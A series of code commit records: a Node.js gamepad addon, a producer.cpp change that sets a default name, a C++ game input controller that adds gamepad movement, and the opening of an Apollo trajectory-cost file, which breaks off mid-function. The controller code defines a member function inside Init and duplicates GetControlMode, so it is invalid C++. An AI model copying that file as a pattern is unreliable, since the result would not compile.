nGamepad_buttonDown_cb(struct Gamepad_device* device, unsigned int buttonID, double timestamp, void* context) {\n Local<Value> info[] = {\n Nan::New(\"down\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n Nan::New<Number>(buttonID),\n Nan::New<Number>(timestamp),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 4, info);\n}\n\nvoid nGamepad_buttonUp_cb(struct Gamepad_device* device, unsigned int buttonID, double timestamp, void* context) {\n Local<Value> info[] = {\n Nan::New(\"up\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n Nan::New<Number>(buttonID),\n Nan::New<Number>(timestamp),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 4, info);\n}\n\nvoid nGamepad_axisMove_cb(struct Gamepad_device* device, unsigned int axisID, float value, float lastValue, double timestamp, void * context) {\n Local<Value> info[] = {\n Nan::New(\"move\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n Nan::New<Number>(axisID),\n Nan::New<Number>(value),\n Nan::New<Number>(lastValue),\n Nan::New<Number>(timestamp),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 6, info);\n}\n\nvoid init(Local<Object> target) {\n Local<Object> handle = Nan::New<Object>();\n persistentHandle.Reset(handle);\n\n Nan::Set(target, Nan::New<String>(\"context\").ToLocalChecked(), handle);\n\n Gamepad_deviceAttachFunc(nGamepad_deviceAttach_cb, NULL);\n Gamepad_deviceRemoveFunc(nGamepad_deviceRemove_cb, NULL);\n Gamepad_buttonDownFunc(nGamepad_buttonDown_cb, NULL);\n Gamepad_buttonUpFunc(nGamepad_buttonUp_cb, NULL);\n Gamepad_axisMoveFunc(nGamepad_axisMove_cb, NULL);\n\n Nan::SetMethod(target, \"init\", nGamepad_init);\n Nan::SetMethod(target, \"shutdown\", nGamepad_shutdown);\n Nan::SetMethod(target, \"numDevices\", nGamepad_numDevices);\n Nan::SetMethod(target, \"deviceAtIndex\", nGamepad_deviceAtIndex);\n Nan::SetMethod(target, \"detectDevices\", nGamepad_detectDevices);\n Nan::SetMethod(target, \"processEvents\", nGamepad_processEvents);\n}\n\nNODE_MODULE(gamepad, init)\n<|endoftext|>"} {"text":"<commit_before>\/*\n * producer.cpp\n *\n * Created on: Dec 28, 2012\n * Author: partio\n *\/\n\n#include \"producer.h\"\n\nusing namespace himan;\n\nproducer::producer()\n : itsFmiProducerId(kHPMissingInt)\n , itsProcess(kHPMissingInt)\n\t, itsCentre(kHPMissingInt)\n\t, itsTableVersion(kHPMissingInt)\n\t, itsNeonsName(\"\")\n{\n\n}\n\nproducer::producer(long theFmiProducerId)\n : itsFmiProducerId(theFmiProducerId)\n , itsProcess(kHPMissingInt)\n , itsCentre(kHPMissingInt)\n\t, itsTableVersion(kHPMissingInt)\n\t, itsNeonsName(\"\")\n{\n\n}\n\nproducer::producer(long theCentre, long theProcess)\n : itsFmiProducerId(kHPMissingInt)\n , itsProcess(theProcess)\n , itsCentre(theCentre)\n\t, itsTableVersion(kHPMissingInt)\n\t, itsNeonsName(\"\")\n{\n\n}\n\nproducer::producer(long theFmiProducerId, long theCentre, long theProcess, const std::string& theNeonsName)\n : itsFmiProducerId(theFmiProducerId)\n , itsProcess(theProcess)\n , itsCentre(theCentre)\n\t, itsTableVersion(kHPMissingInt)\n\t, itsNeonsName(\"\")\n{\n\n}\n\nvoid producer::Centre(long theCentre)\n{\n itsCentre = theCentre;\n}\n\nlong producer::Centre() const\n{\n return itsCentre;\n}\n\nvoid producer::Process(long theProcess)\n{\n itsProcess = theProcess;\n}\n\nlong producer::Process() const\n{\n return itsProcess;\n}\n\nvoid producer::Id(long theId)\n{\n itsFmiProducerId = theId;\n}\n\nlong producer::Id() const\n{\n return itsFmiProducerId;\n}\n\nvoid producer::Name(const std::string& theName)\n{\n itsNeonsName = theName;\n}\n\nstd::string producer::Name() const\n{\n return itsNeonsName;\n}\n\nlong producer::TableVersion() const\n{\n\treturn itsTableVersion;\n}\n\nvoid producer::TableVersion(long theTableVersion)\n{\n\titsTableVersion = theTableVersion;\n}\n\nstd::ostream& producer::Write(std::ostream& file) const\n{\n\n file << \"<\" << ClassName() << \" \" << Version() << \">\" << std::endl;\n\n file << \"__itsFmiProducerId__ \" << itsFmiProducerId << std::endl;\n file << \"__itsProcess__ \" << itsProcess << std::endl;\n file << \"__itsCentre__ \" << itsCentre << std::endl;\n file << \"__itsNeonsName__ \" << itsNeonsName << std::endl;\n file << \"__itsTableVersion__ \" << itsTableVersion << std::endl;\n\n return file;\n\n}\n<commit_msg>Set default name<commit_after>\/*\n * producer.cpp\n *\n * Created on: Dec 28, 2012\n * Author: partio\n *\/\n\n#include \"producer.h\"\n\nusing namespace himan;\n\nproducer::producer()\n : itsFmiProducerId(kHPMissingInt)\n , itsProcess(kHPMissingInt)\n\t, itsCentre(kHPMissingInt)\n\t, itsTableVersion(kHPMissingInt)\n\t, itsNeonsName(\"himanDefaultProducer\")\n{\n\n}\n\nproducer::producer(long theFmiProducerId)\n : itsFmiProducerId(theFmiProducerId)\n , itsProcess(kHPMissingInt)\n , itsCentre(kHPMissingInt)\n\t, itsTableVersion(kHPMissingInt)\n\t, itsNeonsName(\"himanDefaultProducer\")\n{\n\n}\n\nproducer::producer(long theCentre, long theProcess)\n : itsFmiProducerId(kHPMissingInt)\n , itsProcess(theProcess)\n , itsCentre(theCentre)\n\t, itsTableVersion(kHPMissingInt)\n\t, itsNeonsName(\"himanDefaultProducer\")\n{\n\n}\n\nproducer::producer(long theFmiProducerId, long theCentre, long theProcess, const std::string& theNeonsName)\n : itsFmiProducerId(theFmiProducerId)\n , itsProcess(theProcess)\n , itsCentre(theCentre)\n\t, itsTableVersion(kHPMissingInt)\n\t, itsNeonsName(theNeonsName)\n{\n\n}\n\nvoid producer::Centre(long theCentre)\n{\n itsCentre = theCentre;\n}\n\nlong producer::Centre() const\n{\n return itsCentre;\n}\n\nvoid producer::Process(long theProcess)\n{\n itsProcess = theProcess;\n}\n\nlong producer::Process() const\n{\n return itsProcess;\n}\n\nvoid producer::Id(long theId)\n{\n itsFmiProducerId = theId;\n}\n\nlong producer::Id() const\n{\n return itsFmiProducerId;\n}\n\nvoid producer::Name(const std::string& theName)\n{\n itsNeonsName = theName;\n}\n\nstd::string producer::Name() const\n{\n return itsNeonsName;\n}\n\nlong producer::TableVersion() const\n{\n\treturn itsTableVersion;\n}\n\nvoid producer::TableVersion(long theTableVersion)\n{\n\titsTableVersion = theTableVersion;\n}\n\nstd::ostream& producer::Write(std::ostream& file) const\n{\n\n file << \"<\" << ClassName() << \" \" << Version() << \">\" << std::endl;\n\n file << \"__itsFmiProducerId__ \" << itsFmiProducerId << std::endl;\n file << \"__itsProcess__ \" << itsProcess << std::endl;\n file << \"__itsCentre__ \" << itsCentre << std::endl;\n file << \"__itsNeonsName__ \" << itsNeonsName << std::endl;\n file << \"__itsTableVersion__ \" << itsTableVersion << std::endl;\n\n return file;\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"SysControl.h\"\n#include \"ControlsApp.h\"\n#include \"ControlsXPad360.h\"\n#include \"Engine.h\"\n#include \"App.h\"\n#include \"Engine.h\"\n#include \"App.h\"\n#include \"Input.h\"\n#include \"ObjectGui.h\"\n#include \"WidgetLabel.h\"\n\n\n\/\/解决跨平台字符集兼容问题\n#ifdef _WIN32\n#pragma execution_character_set(\"utf-8\")\n#endif\n\nusing namespace MathLib;\n\nclass CSysControlLocal : public CSysControl\n{\npublic:\n\tCSysControlLocal();\n\tvirtual ~CSysControlLocal();\n\n\tvirtual void Init();\t\/\/角色要初始化,着色器要初始化,\n\tvirtual void Update(float ifps);\n\tvirtual void Shutdown();\n\n\tvirtual int GetState(int state);\t\t\/\/鼠标状态,键盘状态,人物状态,子弹状态等等。\n\tvirtual int ClearState(int state);\n\n\tvirtual float GetMouseDX();\n\tvirtual float GetMouseDY();\n\n\tvirtual void SetMouseGrab(int g);\t\t\/\/设置是否显示鼠标\n\tvirtual int GetMouseGrab();\t\t\t\/\/获取鼠标状态,是显示呢还是不显示的状态。\n\n\n\tvirtual void SetControlMode(ControlMode mode);\t\t\t\/\/控制模式\n\tvirtual ControlMode GetControlMode() const;\t\t\t\t\/\/获取控制模式\n\nprivate:\n\tvoid Update_Mouse(float ifps);\n\tvoid Update_Keyboard(float ifps);\n\tvoid Update_XPad360(float ifps);\n\n\n\tCControlsApp *m_pControlsApp;\t\t\/\/控制游戏中移动\n\tCControlsXPad360 *m_pControlsXPad360;\n\tControlMode m_nControlMode;\t\t\t\/\/控制模式\n\n\tint m_nOldMouseX;\t\t\t\/\/上一个鼠标坐标X\n\tint m_nOldMouseY;\t\t\t\/\/上一个鼠标坐标Y\n\n\tCObjectGui *m_pTest3DUI;\n\tCWidgetLabel *m_pTestMessageLabel;\n\n\n\n\n};\n\n\n\nCSysControlLocal::CSysControlLocal()\n{\n\n}\nCSysControlLocal::~CSysControlLocal()\n{\n\n}\n\nvoid CSysControlLocal::Init()\n{\n\tm_pControlsApp = new CControlsApp;\n\tm_pControlsXPad360 = new CControlsXPad360(0);\n\n\n\tg_Engine.pApp->SetMouseGrab(0);\n\tg_Engine.pApp->SetMouseShow(0);\n\n\tSetControlMode(CONTROL_KEYBORAD_MOUSE);\n\n\tm_pTest3DUI = new CObjectGui(2.0f, 1.0f, \"data\/core\/gui\/\");\n\tm_pTest3DUI->SetMouseShow(0);\n\tm_pTest3DUI->SetBackground(1);\n\tm_pTest3DUI->SetBackgroundColor(vec4(1.0f, 0.0f, 0.0f, 1.0f));\n\n\tm_pTest3DUI->SetScreenSize(800, 400);\n\tm_pTest3DUI->SetControlDistance(1000.0f);\n\tm_pTest3DUI->CreateMaterial(\"gui_base\");\t \/\/show in game\t\n\n\n\tm_pTest3DUI->SetWorldTransform(Translate(0.0f, 0.0f, 2.0f) * MakeRotationFromZY(vec3(0.0f, -1.0f, 0.0f), vec3(0.0f, 0.0f, 1.0f)));\n\n\tm_pTestMessageLabel = new CWidgetLabel(m_pTest3DUI->GetGui());\t\/\/初始化文字标签\n\tm_pTest3DUI->GetGui()->AddChild(m_pTestMessageLabel, CGui::ALIGN_CENTER);\n\tm_pTestMessageLabel->SetFontColor(vec4(0.0f, 0.0f, 0.0f, 1.0f));\n\n\tm_pTestMessageLabel = new CWidgetLabel(m_pTest3DUI->GetGui());\t\/\/初始化文字标签\n\tm_pTest3DUI->GetGui()->AddChild(m_pTestMessageLabel, CGui::ALIGN_CENTER);\n\tm_pTestMessageLabel->SetFontColor(vec4(0.0f, 0.0f, 0.0f, 1.0f));\n\n\tm_pTestMessageLabel->SetFontSize(80);\t\t\/\/设置字体大小\n\tm_pTestMessageLabel->SetFontOutline(1);\t\t\/\/设置字体轮廓\n\tm_pTestMessageLabel->SetText(\"两个黄鹂鸣翠柳\\n一行白鹭上青天\\n窗含西岭千秋雪\\n门泊东吴万里船\");\n\n\n\tvoid CSysControlLocal::Update(float ifps)\n\t{\n\t\tUpdate_Mouse(ifps);\n\t\tUpdate_Keyboard(ifps);\n\t\tUpdate_XPad360(ifps);\n\t}\n\n\n\tm_nOldMouseX = 0;\n\tm_nOldMouseY = 0;\n}\nvoid CSysControlLocal::Shutdown()\n{\n\tg_Engine.pApp->SetMouseGrab(0);\n\tg_Engine.pApp->SetMouseShow(0);\n\tdelete m_pControlsApp;\n\tm_pControlsApp = NULL;\n\tdelete m_pControlsXPad360;\n\tm_pControlsXPad360 = NULL;\n\tdelete m_pTestMessageLabel;\n\tm_pTestMessageLabel = NULL;\n\tdelete m_pTest3DUI;\n\tm_pTest3DUI = NULL;\n\n}\n\nint CSysControlLocal::GetState(int state)\n{\n\n\treturn m_pControlsApp->GetState(state);\n}\n\nint CSysControlLocal::ClearState(int state)\n{\n\treturn m_pControlsApp->ClearState(state);\n}\n\nfloat CSysControlLocal::GetMouseDX()\n{\n\treturn m_pControlsApp->GetMouseDX();\n}\n\nfloat CSysControlLocal::GetMouseDY()\n{\n\treturn m_pControlsApp->GetMouseDY();\n}\nvoid CSysControlLocal::SetMouseGrab(int g)\n{\n\tg_Engine.pApp->SetMouseGrab(g);\n\tg_Engine.pGui->SetMouseShow(!g);\n}\nint CSysControlLocal::GetMouseGrab()\n{\n\treturn g_Engine.pApp->GetMouseGrab();\n}\n\nvoid CSysControlLocal::SetControlMode(ControlMode mode)\n{\n\tm_nControlMode = mode;\n}\n\nCSysControl::ControlMode CSysControlLocal::GetControlMode() const\n{\n\treturn m_nControlMode;\n}\n\nCSysControl::ControlMode CSysControlLocal::GetControlMode() const\n{\n\treturn m_nControlMode;\n}\nvoid CSysControlLocal::Update_Mouse(float ifps)\n{\n\tfloat dx = (g_Engine.pApp->GetMouseX() - m_nOldMouseX) * g_Engine.pControls->GetMouseSensitivity() * 0.1f;\/\/0.1f这个数值越大,鼠标移动越快\n\tfloat dy = (g_Engine.pApp->GetMouseY() - m_nOldMouseY) * g_Engine.pControls->GetMouseSensitivity() * 0.1f;\/\/0.1这个数值越小,鼠标移动越慢\n\n\tm_pControlsApp->SetMouseDX(dx);\n\tm_pControlsApp->SetMouseDY(dy);\n\n\tif (g_Engine.pApp->GetMouseGrab() && g_Engine.pApp->GetActive())\n\t{\n\t\tg_Engine.pApp->SetMouse(g_Engine.pApp->GetWidth() \/ 2, g_Engine.pApp->GetHeight() \/ 2);\n\t}\n\n\tm_nOldMouseX = g_Engine.pApp->GetMouseX();\n\tm_nOldMouseY = g_Engine.pApp->GetMouseY();\n}\n\nvoid CSysControlLocal::Update_Keyboard(float ifps)\t\t\/\/键盘按键响应wsad\n{\n\n\n\tif (g_Engine.pInput->IsKeyDown('w'))\n\t\tm_pControlsApp->SetState(CControls::STATE_FORWARD, 1);\n\tif (g_Engine.pInput->IsKeyDown('s'))\n\t\tm_pControlsApp->SetState(CControls::STATE_BACKWARD, 1);\n\tif (g_Engine.pInput->IsKeyDown('a'))\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_LEFT, 1);\n\tif (g_Engine.pInput->IsKeyDown('d'))\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_RIGHT, 1);\n\n\tif (g_Engine.pInput->IsKeyUp('w'))\n\t\tm_pControlsApp->SetState(CControls::STATE_FORWARD, 0);\n\telse if (g_Engine.pInput->IsKeyUp('s'))\n\t\tm_pControlsApp->SetState(CControls::STATE_BACKWARD, 0);\n\n\tif (g_Engine.pInput->IsKeyUp('a'))\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_LEFT, 0);\n\telse if (g_Engine.pInput->IsKeyUp('d'))\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_RIGHT, 0);\n\tif (g_Engine.pInput->IsKeyDown(' '))\t\t\/\/空格跳跃\n\t\tm_pControlsApp->SetState(CControls::STATE_JUMP, 1);\n\telse\n\t\tm_pControlsApp->SetState(CControls::STATE_JUMP, 0);\n}\nvoid CSysControlLocal::Update_XPad360(float ifps)\n{\n\tm_pControlsXPad360->UpdateEvents();\n\tCUtilStr strMessage;\n\tstrMessage = CUtilStr(\"测试3D UI\\n\"),\n\tstrMessage += CUtilStr(m_pControlsXPad360->GetName()) + \"\\n\";\n\n\n\tstrMessage += CUtilStr::Format(\"\\n手柄测试\\n\");\n\tstrMessage += CUtilStr::Format(\"LeftX: %5.2f\\n\", m_pControlsXPad360->GetLeftX());\n\tstrMessage += CUtilStr::Format(\"LeftY: %5.2f\\n\", m_pControlsXPad360->GetLeftY());\n\tstrMessage += CUtilStr::Format(\"RightX: %5.2f\\n\", m_pControlsXPad360->GetRightX());\n\tstrMessage += CUtilStr::Format(\"RightY: %5.2f\\n\", m_pControlsXPad360->GetRightY());\n\tstrMessage += \"\\nTriggers:\\n\";\n\tstrMessage += CUtilStr::Format(\"Left: %5.2f\\n\", m_pControlsXPad360->GetLeftTrigger());\n\tstrMessage += CUtilStr::Format(\"Right: %5.2f\\n\", m_pControlsXPad360->GetRightTrigger());\n\n\tstrMessage += CUtilStr::Format(\"\\nButtons:\\n\");\n\tfor (int i = 0; i < CControlsXPad360::NUM_BUTTONS; ++i)\n\t{\n\t\tstrMessage += CUtilStr::Format(\"%d \", m_pControlsXPad360->GetButton(i));\n\t}\n\tm_pTestMessageLabel->SetText(strMessage.Get());\n\n\tconst float fPadThreshold = 0.5f;\n\tif (m_pControlsXPad360->GetLeftX() > fPadThreshold)\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_RIGHT, 1);\n\telse if (m_pControlsXPad360->GetLeftX() < -fPadThreshold)\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_LEFT, 1);\n\telse\n\t{\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_LEFT, 0);\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_RIGHT, 0);\n\t}\n\n}<commit_msg>Signed-off-by: mrlitong <litongtongxue@gmail.com><commit_after>#include \"SysControl.h\"\n#include \"ControlsApp.h\"\n#include \"ControlsXPad360.h\"\n#include \"Engine.h\"\n#include \"App.h\"\n#include \"Engine.h\"\n#include \"App.h\"\n#include \"Input.h\"\n#include \"ObjectGui.h\"\n#include \"WidgetLabel.h\"\n\n\n\/\/解决跨平台字符集兼容问题\n#ifdef _WIN32\n#pragma execution_character_set(\"utf-8\")\n#endif\n\nusing namespace MathLib;\n\nclass CSysControlLocal : public CSysControl\n{\npublic:\n\tCSysControlLocal();\n\tvirtual ~CSysControlLocal();\n\n\tvirtual void Init();\t\/\/角色要初始化,着色器要初始化,\n\tvirtual void Update(float ifps);\n\tvirtual void Shutdown();\n\n\tvirtual int GetState(int state);\t\t\/\/鼠标状态,键盘状态,人物状态,子弹状态等等。\n\tvirtual int ClearState(int state);\n\n\tvirtual float GetMouseDX();\n\tvirtual float GetMouseDY();\n\n\tvirtual void SetMouseGrab(int g);\t\t\/\/设置是否显示鼠标\n\tvirtual int GetMouseGrab();\t\t\t\/\/获取鼠标状态,是显示呢还是不显示的状态。\n\n\n\tvirtual void SetControlMode(ControlMode mode);\t\t\t\/\/控制模式\n\tvirtual ControlMode GetControlMode() const;\t\t\t\t\/\/获取控制模式\n\nprivate:\n\tvoid Update_Mouse(float ifps);\n\tvoid Update_Keyboard(float ifps);\n\tvoid Update_XPad360(float ifps);\n\n\n\tCControlsApp *m_pControlsApp;\t\t\/\/控制游戏中移动\n\tCControlsXPad360 *m_pControlsXPad360;\n\tControlMode m_nControlMode;\t\t\t\/\/控制模式\n\n\tint m_nOldMouseX;\t\t\t\/\/上一个鼠标坐标X\n\tint m_nOldMouseY;\t\t\t\/\/上一个鼠标坐标Y\n\n\tCObjectGui *m_pTest3DUI;\n\tCWidgetLabel *m_pTestMessageLabel;\n\n\n\n\n};\n\n\n\nCSysControlLocal::CSysControlLocal()\n{\n\n}\nCSysControlLocal::~CSysControlLocal()\n{\n\n}\n\nvoid CSysControlLocal::Init()\n{\n\tm_pControlsApp = new CControlsApp;\n\tm_pControlsXPad360 = new CControlsXPad360(0);\n\n\n\tg_Engine.pApp->SetMouseGrab(0);\n\tg_Engine.pApp->SetMouseShow(0);\n\n\tSetControlMode(CONTROL_KEYBORAD_MOUSE);\n\n\tm_pTest3DUI = new CObjectGui(2.0f, 1.0f, \"data\/core\/gui\/\");\n\tm_pTest3DUI->SetMouseShow(0);\n\tm_pTest3DUI->SetBackground(1);\n\tm_pTest3DUI->SetBackgroundColor(vec4(1.0f, 0.0f, 0.0f, 1.0f));\n\n\tm_pTest3DUI->SetScreenSize(800, 400);\n\tm_pTest3DUI->SetControlDistance(1000.0f);\n\tm_pTest3DUI->CreateMaterial(\"gui_base\");\t \/\/show in game\t\n\n\n\tm_pTest3DUI->SetWorldTransform(Translate(0.0f, 0.0f, 2.0f) * MakeRotationFromZY(vec3(0.0f, -1.0f, 0.0f), vec3(0.0f, 0.0f, 1.0f)));\n\n\tm_pTestMessageLabel = new CWidgetLabel(m_pTest3DUI->GetGui());\t\/\/初始化文字标签\n\tm_pTest3DUI->GetGui()->AddChild(m_pTestMessageLabel, CGui::ALIGN_CENTER);\n\tm_pTestMessageLabel->SetFontColor(vec4(0.0f, 0.0f, 0.0f, 1.0f));\n\n\tm_pTestMessageLabel = new CWidgetLabel(m_pTest3DUI->GetGui());\t\/\/初始化文字标签\n\tm_pTest3DUI->GetGui()->AddChild(m_pTestMessageLabel, CGui::ALIGN_CENTER);\n\tm_pTestMessageLabel->SetFontColor(vec4(0.0f, 0.0f, 0.0f, 1.0f));\n\n\tm_pTestMessageLabel->SetFontSize(80);\t\t\/\/设置字体大小\n\tm_pTestMessageLabel->SetFontOutline(1);\t\t\/\/设置字体轮廓\n\tm_pTestMessageLabel->SetText(\"两个黄鹂鸣翠柳\\n一行白鹭上青天\\n窗含西岭千秋雪\\n门泊东吴万里船\");\n\n\n\tvoid CSysControlLocal::Update(float ifps)\n\t{\n\t\tUpdate_Mouse(ifps);\n\t\tUpdate_Keyboard(ifps);\n\t\tUpdate_XPad360(ifps);\n\t}\n\n\n\tm_nOldMouseX = 0;\n\tm_nOldMouseY = 0;\n}\nvoid CSysControlLocal::Shutdown()\n{\n\tg_Engine.pApp->SetMouseGrab(0);\n\tg_Engine.pApp->SetMouseShow(0);\n\tdelete m_pControlsApp;\n\tm_pControlsApp = NULL;\n\tdelete m_pControlsXPad360;\n\tm_pControlsXPad360 = NULL;\n\tdelete m_pTestMessageLabel;\n\tm_pTestMessageLabel = NULL;\n\tdelete m_pTest3DUI;\n\tm_pTest3DUI = NULL;\n\n}\n\nint CSysControlLocal::GetState(int state)\n{\n\n\treturn m_pControlsApp->GetState(state);\n}\n\nint CSysControlLocal::ClearState(int state)\n{\n\treturn m_pControlsApp->ClearState(state);\n}\n\nfloat CSysControlLocal::GetMouseDX()\n{\n\treturn m_pControlsApp->GetMouseDX();\n}\n\nfloat CSysControlLocal::GetMouseDY()\n{\n\treturn m_pControlsApp->GetMouseDY();\n}\nvoid CSysControlLocal::SetMouseGrab(int g)\n{\n\tg_Engine.pApp->SetMouseGrab(g);\n\tg_Engine.pGui->SetMouseShow(!g);\n}\nint CSysControlLocal::GetMouseGrab()\n{\n\treturn g_Engine.pApp->GetMouseGrab();\n}\n\nvoid CSysControlLocal::SetControlMode(ControlMode mode)\n{\n\tm_nControlMode = mode;\n}\n\nCSysControl::ControlMode CSysControlLocal::GetControlMode() const\n{\n\treturn m_nControlMode;\n}\n\nCSysControl::ControlMode CSysControlLocal::GetControlMode() const\n{\n\treturn m_nControlMode;\n}\nvoid CSysControlLocal::Update_Mouse(float ifps)\n{\n\tfloat dx = (g_Engine.pApp->GetMouseX() - m_nOldMouseX) * g_Engine.pControls->GetMouseSensitivity() * 0.1f;\/\/0.1f这个数值越大,鼠标移动越快\n\tfloat dy = (g_Engine.pApp->GetMouseY() - m_nOldMouseY) * g_Engine.pControls->GetMouseSensitivity() * 0.1f;\/\/0.1这个数值越小,鼠标移动越慢\n\n\tm_pControlsApp->SetMouseDX(dx);\n\tm_pControlsApp->SetMouseDY(dy);\n\n\tif (g_Engine.pApp->GetMouseGrab() && g_Engine.pApp->GetActive())\n\t{\n\t\tg_Engine.pApp->SetMouse(g_Engine.pApp->GetWidth() \/ 2, g_Engine.pApp->GetHeight() \/ 2);\n\t}\n\n\tm_nOldMouseX = g_Engine.pApp->GetMouseX();\n\tm_nOldMouseY = g_Engine.pApp->GetMouseY();\n}\n\nvoid CSysControlLocal::Update_Keyboard(float ifps)\t\t\/\/键盘按键响应wsad\n{\n\n\n\tif (g_Engine.pInput->IsKeyDown('w'))\n\t\tm_pControlsApp->SetState(CControls::STATE_FORWARD, 1);\n\tif (g_Engine.pInput->IsKeyDown('s'))\n\t\tm_pControlsApp->SetState(CControls::STATE_BACKWARD, 1);\n\tif (g_Engine.pInput->IsKeyDown('a'))\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_LEFT, 1);\n\tif (g_Engine.pInput->IsKeyDown('d'))\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_RIGHT, 1);\n\n\tif (g_Engine.pInput->IsKeyUp('w'))\n\t\tm_pControlsApp->SetState(CControls::STATE_FORWARD, 0);\n\telse if (g_Engine.pInput->IsKeyUp('s'))\n\t\tm_pControlsApp->SetState(CControls::STATE_BACKWARD, 0);\n\n\tif (g_Engine.pInput->IsKeyUp('a'))\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_LEFT, 0);\n\telse if (g_Engine.pInput->IsKeyUp('d'))\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_RIGHT, 0);\n\tif (g_Engine.pInput->IsKeyDown(' '))\t\t\/\/空格跳跃\n\t\tm_pControlsApp->SetState(CControls::STATE_JUMP, 1);\n\telse\n\t\tm_pControlsApp->SetState(CControls::STATE_JUMP, 0);\n}\nvoid CSysControlLocal::Update_XPad360(float ifps)\n{\n\tm_pControlsXPad360->UpdateEvents();\n\tCUtilStr strMessage;\n\tstrMessage = CUtilStr(\"测试3D UI\\n\"),\n\tstrMessage += CUtilStr(m_pControlsXPad360->GetName()) + \"\\n\";\n\n\n\tstrMessage += CUtilStr::Format(\"\\n手柄测试\\n\");\n\tstrMessage += CUtilStr::Format(\"LeftX: %5.2f\\n\", m_pControlsXPad360->GetLeftX());\n\tstrMessage += CUtilStr::Format(\"LeftY: %5.2f\\n\", m_pControlsXPad360->GetLeftY());\n\tstrMessage += CUtilStr::Format(\"RightX: %5.2f\\n\", m_pControlsXPad360->GetRightX());\n\tstrMessage += CUtilStr::Format(\"RightY: %5.2f\\n\", m_pControlsXPad360->GetRightY());\n\tstrMessage += \"\\nTriggers:\\n\";\n\tstrMessage += CUtilStr::Format(\"Left: %5.2f\\n\", m_pControlsXPad360->GetLeftTrigger());\n\tstrMessage += CUtilStr::Format(\"Right: %5.2f\\n\", m_pControlsXPad360->GetRightTrigger());\n\n\tstrMessage += CUtilStr::Format(\"\\nButtons:\\n\");\n\tfor (int i = 0; i < CControlsXPad360::NUM_BUTTONS; ++i)\n\t{\n\t\tstrMessage += CUtilStr::Format(\"%d \", m_pControlsXPad360->GetButton(i));\n\t}\n\tm_pTestMessageLabel->SetText(strMessage.Get());\n\n\tconst float fPadThreshold = 0.5f;\n\tif (m_pControlsXPad360->GetLeftX() > fPadThreshold)\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_RIGHT, 1);\n\telse if (m_pControlsXPad360->GetLeftX() < -fPadThreshold)\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_LEFT, 1);\n\telse\n\t{\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_LEFT, 0);\n\t\tm_pControlsApp->SetState(CControls::STATE_MOVE_RIGHT, 0);\n\t}\n\tif (m_pControlsXPad360->GetLeftY() > fPadThreshold)\n\t\tm_pControlsApp->SetState(CControls::STATE_FORWARD, 1);\n\n}<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n **\/\n\n#include \"modules\/planning\/toolkits\/optimizers\/road_graph\/trajectory_cost.h\"\n\n#include <algorithm>\n#include <cmath>\n#include <limits>\n#include <utility>\n\n#include \"modules\/common\/proto\/pnc_point.pb.h\"\n\n#include \"modules\/common\/configs\/vehicle_config_helper.h\"\n#include \"modules\/common\/math\/vec2d.h\"\n#include \"modules\/common\/util\/util.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing apollo::common::TrajectoryPoint;\nusing apollo::common::math::Box2d;\nusing apollo::common::math::Sigmoid;\nusing apollo::common::math::Vec2d;\n\nTrajectoryCost::TrajectoryCost(const DpPolyPathConfig &config,\n const ReferenceLine &reference_line,\n const bool is_change_lane_path,\n const std::vector<const Obstacle *> &obstacles,\n const common::VehicleParam &vehicle_param,\n const SpeedData &heuristic_speed_data,\n const common::SLPoint &init_sl_point,\n const SLBoundary &adc_sl_boundary)\n : config_(config),\n reference_line_(&reference_line),\n is_change_lane_path_(is_change_lane_path),\n vehicle_param_(vehicle_param),\n heuristic_speed_data_(heuristic_speed_data),\n init_sl_point_(init_sl_point),\n adc_sl_boundary_(adc_sl_boundary) {\n const double total_time =\n std::min(heuristic_speed_data_.TotalTime(), FLAGS_prediction_total_time);\n\n num_of_time_stamps_ = static_cast<uint32_t>(\n std::floor(total_time \/ config.eval_time_interval()));\n\n for (const auto *ptr_obstacle : obstacles) {\n if (ptr_obstacle->IsIgnore()) {\n continue;\n } else if (ptr_obstacle->LongitudinalDecision().has_stop()) {\n continue;\n }\n const auto &sl_boundary = ptr_obstacle->PerceptionSLBoundary();\n\n const double adc_left_l =\n init_sl_point_.l() + vehicle_param_.left_edge_to_center();\n const double adc_right_l =\n init_sl_point_.l() - vehicle_param_.right_edge_to_center();\n\n if (adc_left_l + FLAGS_lateral_ignore_buffer < sl_boundary.start_l() ||\n adc_right_l - FLAGS_lateral_ignore_buffer > sl_boundary.end_l()) {\n continue;\n }\n\n bool is_bycycle_or_pedestrian =\n (ptr_obstacle->Perception().type() ==\n perception::PerceptionObstacle::BICYCLE ||\n ptr_obstacle->Perception().type() ==\n perception::PerceptionObstacle::PEDESTRIAN);\n\n if (ptr_obstacle->IsVirtual()) {\n \/\/ Virtual obstacle\n continue;\n 